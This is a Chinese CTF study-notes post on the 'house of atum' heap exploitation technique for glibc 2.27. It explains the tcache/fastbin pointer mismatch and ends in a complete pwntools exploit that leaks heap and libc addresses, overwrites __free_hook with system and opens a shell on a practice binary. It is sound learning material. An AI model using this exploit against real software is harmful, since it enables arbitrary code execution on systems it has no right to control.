house of atum 学习笔记
跟着《ctf权威指南(pwn篇)》这本书来学习pwn,准备把这本书的例题一个一个认真啃完。
使用条件
当申请chunk的大小被固定时,无法将chunk放入unsorted,且允许获取的chunk很少时。
原理
tcache bin中的chunk的next指针与fastbins的fd指针位置不匹配。如果fastbins中有多个chunk,且tcache中的chunk未填满,则当从fastbins中获得了一个chunk后,剩余的chunk会被整合到tcache中(整合到tcache满为止,smallbin相同)。
利用
释放8个相同的chunk(大小满足fastbins),这样第8个freechunk将会被放入fastbins中,且fd指针会被置为0,又因为释放的是相同的chunk,所以tcache中也只有一个freechunk。申请一个chunk(将会从tcahe中获得)将获得的chunk中的fd指针改为chunk-0x20,这时,在fastbins中的chunk的fd指针会变为chunk-0x10,再申请一个chunk,将会从fastbins中获取,但tcache的counts是6,所以在fastbins中剩余的一个freechunk(chunk-0x10)被放入tcache中,这样就能控制chunk的prev_size和size了。
例题
House of Atum
保护全开,libc-2.27

正常的菜单题,只允许申请两个chunk,有edit,show函数,漏洞在dele函数中

先申请两个chunk,记为chunk0、chunk1。**chunk1需要写入p64(0)*7+p64(0x11)**,这一步是为了防止后面修改chunk的size后对其进行释放时报错。先连续释放6次chunk1,可以泄露heap_base。
再连续释放2次chunk0,使tcache和fastbins中都只有一个freechunk0.接着申请一个chunk,并写入chunk0-0x20,再申请一个chunk1。释放chunk1,再次申请,此时写入p64(0)+p64(0x91),就相当于修改了chunk0的size域,再释放8次chunk0,泄露得到libcbase。再修改free_hook为 system函数,拿到shell。
完整exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 
 | from pwn import *io = process('./houseofAtum')
 elf = ELF('./houseofAtum')
 libc = elf.libc
 context(log_level = 'debug')
 def add(a1):
 io.sendlineafter('choice:','1')
 io.sendlineafter('content:',a1)
 
 def edit(a1,a2):
 io.sendlineafter('choice:','2')
 io.sendlineafter('idx:',str(a1))
 io.sendafter('content:',a2)
 
 def dele(a1,a2):
 io.sendlineafter('choice:','3')
 io.sendlineafter('idx:',str(a1))
 io.sendlineafter('(y/n):',a2)
 
 def show(a1):
 io.sendlineafter('choice:','4')
 io.sendlineafter('idx:',str(a1))
 
 def exp():
 add('0')
 payload = p64(0)*7+p64(0x11)
 add(payload)
 for i in range(5):
 dele(1,'n')
 show(1)
 io.recvuntil('Content:')
 heap_base = u64(io.recv(6).ljust(8,'\x00'))-0x2a0
 print(hex(heap_base))
 
 dele(1,'y')
 dele(0,'n')
 dele(0,'y')
 payload = p64(heap_base+0x250-0x20)
 #pause()
 add(payload)
 add('1')
 #pause()
 dele(1,'y')
 payload = p64(0)+p64(0x91)
 add(payload)
 #pause()
 for i in range(7):
 dele(0,'n')
 dele(0,'y')
 edit(1,'a'*0x10)
 #pause()
 show(1)
 io.recvuntil('Content:')
 io.recv(0x10)
 malloc_hook = u64(io.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-96-16
 libcbase = malloc_hook - libc.symbols['__malloc_hook']
 print(hex(libcbase))
 system = libcbase + libc.symbols['system']
 free_hook = libcbase + libc.symbols['__free_hook']
 
 edit(1,p64(0)+p64(0x51)+p64(free_hook-0x20))
 payload = p64(free_hook-0x10)
 add(payload)
 dele(0,'y')
 payload = '/bin/sh\x00'*2+p64(system)
 add(payload)
 io.sendlineafter('choice:','3')
 io.sendlineafter('idx:','0')
 io.interactive()
 
 exp()
 
 |